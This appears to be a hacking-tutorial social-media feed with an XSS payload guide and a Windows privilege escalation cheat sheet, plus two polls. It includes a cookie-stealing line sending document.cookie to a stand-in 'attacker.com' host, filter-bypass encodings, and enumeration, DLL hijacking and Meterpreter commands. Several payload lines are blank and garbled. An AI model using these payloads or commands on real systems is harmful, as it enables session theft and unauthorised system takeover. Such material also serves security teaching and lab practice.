Beejay Computers

🔥 HOT TAKE: Which programming language for hackers?

🅰️ Python (automation, exploits)
🅱️ Bash (quick scripts, Linux)
🅲 C (exploit dev, understanding)
🅳 JavaScript (web hacking)

MY ANSWER: Learn ALL, master ONE!

What's your primary language? 👇

🔐 XSS (CROSS-SITE SCRIPTING) GUIDE

TYPES:

1️⃣ REFLECTED (Immediate)
URL: site.com/search?q=alert(1)
Victim clicks → Script executes

2️⃣ STORED (Persistent)
Saved in database
Executes for ALL visitors
Example: Forum post, comments

3️⃣ DOM-BASED (Client-side)
Vulnerability in JavaScript
No server interaction
Example: document.write(userInput)

TESTING PAYLOADS:

Basic:
alert('XSS')

Image tag:


SVG:


Body tag:


Input tag:


IFRAME:


BYPASS FILTERS:

If blocked:




If alert blocked:
document.location='http://attacker.com/steal?c='+document.cookie


URL Encode:
%3Cscript%3Ealert(1)%3C/script%3E

HTML Encode:
<script>alert(1)</script>

IMPACT:
• Session hijacking
• Defacement
• Phishing
• Keylogging
• Crypto mining

DEFENSE:
• Input validation
• Output encoding
• Content Security Policy (CSP)
• HTTPOnly cookies

PRACTICE: PortSwigger XSS labs, OWASP Juice Shop

💬 DISCUSSION: Ethics in Cybersecurity

You discover a critical vulnerability in a popular app:

What's your next move?

A) Public tweet for clout
B) Sell on dark web
C) Responsible disclosure
D) Bug bounty program
E) Leak to security researchers

DISCUSS: Why did you choose your answer?

🪟 WINDOWS PRIVILEGE ESCALATION GUIDE

Escalate from low-privilege to SYSTEM:

📌 ENUMERATION:
whoami /all # User and privileges
whoami /priv # Enabled privileges
net user # All users
net localgroup administrators # Admins
hostname # Computer name
systeminfo # Full system info
ipconfig /all # Network config

📌 FIND EXPLOITS:
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
# Search at:
# - exploit-db.com
# - metasploit module: post/multi/recon/local_exploit_suggester

📌 ALWAYS INSTALLED ELEVATION ( potato Attacks):
# SeImpersonatePrivilege required
• RottenPotato (older systems)
• SweetPotato (newer)
• JuicyPotato (Windows 7-10)
• PrintSpoofer (Windows 10/Server 2019)

📌 MISSING PATCHES:
wmic qfe list # Installed patches
# Check against known exploits:
# - MS16-032 (Secondary Logon)
# - MS17-010 (EternalBlue)
# - CVE-2019-1388 (HH)

📌 UNQUOTED SERVICE PATHS:
wmic service get name,pathname
# If path has spaces and no quotes, exploit!

📌 WEAK SERVICE PERMISSIONS:
accesschk.exe -uwcqv "Authenticated Users" *
# Look for SERVICE_ALL_ACCESS

📌 REGISTRY EXPLOITS:
# Check for auto-run programs:
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
# If writable by user, inject malicious code

📌 SCHEDULED TASKS:
schtasks /query /fo LIST /v
# Look for writable .exe/.dll/.ps1 in task

📌 DLL HIJACKING:
1. Find application loading DLL
2. Check if DLL path is writable
3. Create malicious DLL
4. Place in application directory

📌 AUTOMATED TOOLS:
• winPEAS (github.com/carlospolop)
• Seatbelt (.NET gatherer)
• PowerUp.ps1 (PowerShell)
• SharpUp

📌 GETTING METERPRETER:
# Using existing session
getsystem # Try built-in
# Using RottenPotato
load incognito
execute -cH -f.exe